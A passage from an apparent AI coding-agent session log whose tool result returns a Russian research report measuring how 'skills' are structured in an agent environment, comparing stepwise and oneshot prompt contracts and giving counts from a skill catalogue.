},\n[2026-09-29T07:45:12.695Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:12.695Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:12.695Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:12.695Z] [INFO]     },\n[2026-09-29T07:45:12.695Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:12.695Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:12.695Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:12.695Z] [INFO]   },\n[2026-09-29T07:45:12.695Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:12.695Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"uuid\": \"5ed11b31-fdd9-4694-b105-7c551c4f53b0\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:12.685Z\",\n[2026-09-29T07:45:12.695Z] [INFO]   \"request_id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\"\n[2026-09-29T07:45:12.695Z] [INFO] }\n[2026-09-29T07:45:13.312Z] [INFO] {\n[2026-09-29T07:45:13.312Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"message\": {\n[2026-09-29T07:45:13.312Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:13.312Z] [INFO]     \"content\": [\n[2026-09-29T07:45:13.312Z] [INFO]       {\n[2026-09-29T07:45:13.312Z] [INFO]         \"tool_use_id\": \"toolu_018Ys8BJFRQ4dpsEehDr1par\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"content\": \"related_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n---\\n\\n# \u041f\u0440\u0438\u0440\u043e\u0434\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0420\u0435\u0432\u044c\u044e\\n> [PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n> \u043e\u0441\u043f\u043e\u0440\u0438\u043b\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 `SB-1` \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438\\n> \u0432\u044b\u0434\u0432\u0438\u043d\u0443\u043b\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u0443\u044e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443: \u043d\u0430\u0432\u044b\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u044d\u043a\u0432\u0438\u0432\u0430\u043b\u0435\u043d\u0442\u0435\u043d **\u043a\u0430\u043a** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n> \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, **\u0442\u0430\u043a \u0438** \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 `oneshot` \u0438\\n> `stepwise` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e, \u0430 **\u0444\u043e\u0440\u043c\u0430\u0442** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041e\u0442\u0447\u0451\u0442 \u043d\u0435\\n> \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0435\u0442 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u2014 \u043e\u043d \u0435\u0451 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u0438.**\\n[`measure-skill-format.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py)\\n(\u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043f\u0438\u0446\u044b \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0425\u0430\u0431\u0430) \u0438\\n[`fetch-gigacode-docs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.py)\\n(\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b). \u0421\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u2014\\n[`skill-format.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/skill-format.json)\\n\u0438\\n[`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json).\\n\u041a\u043e\u0440\u043f\u0443\u0441\u0430: \u0441\u043f\u0438\u0446\u0430 `mango_ba_prompts` \u043a\u043e\u043c\u043c\u0438\u0442 `8cbf82a`, \u0425\u0430\u0431 \u2014 \u043a\u043e\u043c\u043c\u0438\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0417\u0430\u043c\u0435\u0440 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 |\\n| --- | --- | --- | --- |\\n| `F1` | \u0441\u0440\u0435\u0434\u0430 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043e\u0434\u043d\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 | \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 `SKILL.md` \u0434\u0432\u0430, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435\u0442 (`GC-2`, `GC-25`) | \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 **\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430** |\\n| `F2` | \u0443 \u043d\u0430\u0432\u044b\u043a\u0430 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u043e\u0439 **\u043d\u0438\u0436\u043d\u044f\u044f** \u0433\u0440\u0430\u043d\u0438\u0446\u0430 | \u00ab\u041a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u00bb \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u043e \u043a `AGENTS.md`, \u043d\u0435 \u043a \u043d\u0430\u0432\u044b\u043a\u0443 (`GC-26`) | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 |\\n| `F3` | \u0443 \u043d\u0430\u0432\u044b\u043a\u0430 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u043e\u0439 **\u0432\u0435\u0440\u0445\u043d\u044f\u044f** \u0433\u0440\u0430\u043d\u0438\u0446\u0430 | \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0443\u0436\u043d\u044b \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u2014 \u0430\u0433\u0435\u043d\u0442, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a (`GC-28`) | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 |\\n| `F4` | \u0444\u043e\u0440\u043c\u0430\u0442 `stepwise` \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0442 `oneshot` \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u0441\u0430\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443: `stepwise` **10 \u0438\u0437 10**, `oneshot` **0 \u0438\u0437 9**, `legacy` **0 \u0438\u0437 5** | \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 **\u043f\u043e\u043b\u043d\u043e\u0435** |\\n| `F5` | `oneshot` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c | \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 **9 \u0438\u0437 9** `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 | **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e** |\\n| `F6` | \u0432 \u043d\u043e\u0432\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u0435\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | **0 \u0438\u0437 33**; \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a \u2014 \u043e\u0442 2 \u0434\u043e 7 | \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e |\\n| `F7` | \u0435\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u044b | **21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31** \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438; \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u2014 `check-schema` (11) | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e |\\n\\n## F1\u2013F3. \u0427\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0435\u0451 \u043e\u0431\u044a\u0451\u043c:\\n\\n> \u041d\u0430\u0432\u044b\u043a \u2014 \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\\n> \u0441\u0430\u043c, \u043a\u043e\u0433\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0435\u0439 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432, \u043d\u0430 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430 \u0433\u043b\u0443\u0431\u0438\u043d\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442: \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430, `name` \u0438 `description` (`GC-2`).\\n\u0417\u043d\u0430\u0447\u0438\u0442, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\u00bb \u0441\u0440\u0435\u0434\u043e\u0439 **\u043d\u0435 \u0437\u0430\u0434\u0430\u043d\u043e** \u2014 \u044d\u0442\u043e\\n\u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0425\u0430\u0431\u0430, \u0432\u044b\u0434\u0430\u043d\u043d\u043e\u0435 \u0437\u0430 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b.\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0440\u0435\u0434\u0430 \u0437\u0430\u0434\u0430\u0451\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441 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\u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0430\u0445.** \u0423\u0440\u043e\u0432\u0435\u043d\u044c\\n\u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 (\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441) \u0432 \u044d\u0442\u0438\u0445 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442.\\n\\n## F4. \u0427\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 `stepwise` \u0438 `oneshot`\\n\\n\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043f\u0438\u0446\u044b \u0443\u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d 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\u043f\u0430\u0440\u0435 \u2014 `fr-documentation`. \u0412\u0435\u0440\u0441\u0438\u044f `stepwise` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\\n`\u0420\u0415\u0416\u0418\u041c \u0420\u0410\u0411\u041e\u0422\u042b: \u0421\u0442\u0440\u043e\u0433\u043e \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439` \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0448\u0430\u0433\u0430, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445\\n\u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u0441 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439 \u00ab(\u0416\u0434\u0438 \u043e\u0442\u0432\u0435\u0442\u0430)\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f `oneshot` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0431\u043b\u043e\u043a `\u0410\u041b\u0413\u041e\u0420\u0418\u0422\u041c \u0413\u0415\u041d\u0415\u0420\u0410\u0426\u0418\u0418` \u0438\u0437 \u0442\u0440\u0451\u0445 \u0441\u0442\u0430\u0434\u0438\u0439 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, ODA-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f, \u2014\\n\u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f. \u041e\u0431\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u043d\u043e\u0433\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0435; \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e:\\n\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435.** `stepwise` \u0438 `oneshot` \u2014 \u043d\u0435 \u043c\u0435\u0440\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0435 \u043c\u0435\u0440\u0430\\n\u0433\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u043e **\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430**: \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0433\u0435\u0439\u0442\\n\u0430\u043a\u0442\u043e\u0440\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f.\\n\\n## F5. `oneshot` \u043d\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\\n\\n\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u21d2 `oneshot`\u00bb \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab`oneshot` \u21d2 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u2014 \u0440\u0430\u0437\u043d\u044b\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0438 \u0432\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u043c\u0435\u0440 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442: \u0432\u0441\u0435 \u0434\u0435\u0432\u044f\u0442\u044c `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043d\u0435\u0441\u0443\u0442\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c, \u0430 `fr-documentation-oneshot` \u0432\u0434\u043e\u0431\u0430\u0432\u043e\u043a\\n\u043e\u0431\u044f\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u0434\u0430\u0442\u044c \u0434\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u00ab\u041e\u0442\u0447\u0451\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438\u00bb, \u2014 \u0447\u0442\u043e\\n\u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (`OA-2`).\\n\\n\u0418\u043c\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0432\u0435\u0440\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u0443 \u0441\u0442\u043e\u0440\u043e\u043d\u0443:\\n\\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0443 \u043d\u0435\u0451 \u043d\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445\\n  \u0448\u0430\u0433\u043e\u0432, \u043c\u0435\u0436\u0434\u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u043d\u0443\u0442\u044c) \u21d2 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f **\u0432\u0441\u0435\u0433\u0434\u0430**\\n  `oneshot`;\\n- `oneshot` \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u00ab\u0431\u0435\u0437 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438\u00bb \u0438\\n  \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442.\\n\\n## F6\u2013F7. \u0427\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `L3`\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041d\u0430\u0432\u044b\u043a\u043e\u0432 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` | 33 |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 | 31 |\\n| \u041d\u0430\u0432\u044b\u043a\u043e\u0432, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u0440\u043e\u0432\u043d\u043e \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | **0** |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a | \u043e\u0442 **2** \u0434\u043e **7** |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | **21 \u0438\u0437 31** |\\n\\n\u0421\u0430\u043c\u044b\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: `check-schema` (11 \u043d\u0430\u0432\u044b\u043a\u043e\u0432),\\n`link-elements` (8), `map-to-slot` (7), `check-completeness` (6),\\n`classify-item` (6), `classify-severity` (6), `extract-statements` (6).\\n\\n**\u041a\u0430\u043a \u044d\u0442\u043e \u0447\u0438\u0442\u0430\u0442\u044c.** \u041d\u044b\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0430\u0432\u044b\u043a\u0430-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2014 \u043d\u043e \u043d\u0435\\n\u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043b\u044c \u0435\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u043b\u0430 \u0431\u044b \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e, \u0430 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f\\n\u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `SB-1`, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0442\u0430\u043a\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u043b\u043e \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044e. \u0417\u0430\u043c\u0435\u0440 `F7`\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u043d\u043e\u0435: \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0442\u0440\u0451\u0445 \u0438 